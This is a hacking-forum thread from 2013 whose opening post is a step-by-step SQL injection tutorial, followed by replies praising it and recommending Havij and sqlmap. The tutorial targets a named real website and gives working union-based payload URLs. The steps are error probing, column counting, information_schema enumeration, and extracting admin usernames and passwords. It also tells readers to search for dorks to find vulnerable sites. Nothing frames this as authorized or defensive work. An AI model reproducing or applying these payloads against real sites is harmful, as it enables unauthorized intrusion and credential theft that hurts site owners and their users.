

Forum:[Hack Forums](#)

Thread: [\[TUT\] SQLi Advanced \(Part 2\) \[TUT\]](#)

DiamondHacking - April 27, 2013, 8:57 pm

SQL Injection

Hope you have read the first part. If not please read it [HERE!](#) first and then continue to this tutorial.

Advanced SQLi

Search "SQLi dorks" in google. And you will get some queries that can be used to find the vulnerable sites for advanced SQLi. Below is one example of a vulnerable site.

<http://www.leadacidbatteryinfo.org/newsdetail.php?id=10>

First things first. To check if this site is vulnerable, simply put ' at the end of the url. that is is:

<http://www.leadacidbatteryinfo.org/newsdetail.php?id=10'>

Now, if the site is vulnerable, then it will show some error related to SQL. Something like, "There is an error in the Syntax of SQL Query you are trying to execute". The message can vary but the meaning will be same. If you got this error, then you are ON!

Next step you want to know is the number of columns in the table. The easiest way to do is, we will add "order by <column number>" and we will add -- after the <column number>. So now your url will look like this:

<http://www.leadacidbatteryinfo.org/newsdetail.php?id=10order by 15-->

If you are getting errors, then that means column number is high. So now we will try with a lesser column number. Lets say 10.

www.leadacidbatteryinfo.org/newsdetail.php?id=10 order by 10-- And,

now we are not getting any errors, which means the column number is somewhere between 10 and 14. Now we will try with column number = 11. The page opens normally here. Next try with column number = 12 and which gave an error. That means, the number of columns are 11.

Now we have the number of columns of that table. Lets now find the columns which are vulnerable. We can do that by adding - before 10 and replacing the "order by" with "union all select 1,2...<number of columns from the above

step>". So now the url will look like:

<http://www.leadacidbatteryinfo.org/newsdetail.php?id=-10> union all select 1,2,3,4,5,6,7,8,9,10,11 --

In the output, we will get the numbers of columns which are vulnerable.

The next step is to find the table names in the database which we can use to get some information. You can get that by using the below query:

<http://www.leadacidbatteryinfo.org/newsdetail.php?id=-10> union all select 1,2,3,4,5,6,7,table name,9,10,11 from information schema.tables--

Now we will get a list of tables and say we want to get the details from "tbladmin". For that you will first need to get the ASCII code for tbladmin. Go to any sites online which will convert a normal text to ASCII. Now we will get the ascii of tbladmin as :116,98,108,97,100,109,105,110

Now the url looks like:

<http://www.leadacidbatteryinfo.org/newsdetail.php?id=-10> union all select 1,2,3,4,5,6,7,column name,9,10,11 from information schema.columns where table name=char(116,98,108,97,100,109,105,110)--

Now remove everything after the number 11 and add: 'from tbladmin'. Replace 'column_name' with 'concat(username,0x3a,password)' Now the final query will look like:

<http://www.leadacidbatteryinfo.org/newsdetail.php?id=-10> union all select 1,2,3,4,5,6,7,concat(\$username,0x3a,password) ,9,10,11 from tbladmin

And in the final output, we will get the username and password of the users in the system.

Again this is for advanced users, and rather hard to follow, I know.

IAxActiv - September 19, 2013, 11:09 pm

If anything... This is super basic SQLi ... Not that there's anything wrong with that... I'm just sayin .. its far from advanced

Double X - September 19, 2013, 11:25 pm

Totally agreed. This is just a basic SQLi. Not any advanced stuffs. ?

jazman - September 20, 2013, 5:01 am

instead of going through it manually, it will be better to use havij software which is easier and no

time consumption.

Shidoshi - September 20, 2013, 5:21 am

Really good tutorial mate, thanks! ?

Vaxorr - September 21, 2013, 1:48 am

(Sep 20, 2013 05:01 AM)jazman Wrote: [\[CITE\]](#) instead of going through it manually, it will be better to use havij software which is easier and no time consumption.

worng! wrong! wrong! ?

using havij and SQL map is for skids

you have to learn to do it manually to be called a hax0r . And then you can use any automated tool but i prefer it manually ?

sorry for any rudness or annoying.

Also thanks for the HQ tut. Judo Player and keep it up ,

My Best Regards ,

Null (A 1337 Hax0 ?)

Edit : my 500th post yaaay ?

IceTimux - September 21, 2013, 8:02 pm

Great thread, covers all the basics :P its really good for beginners and advanced users ?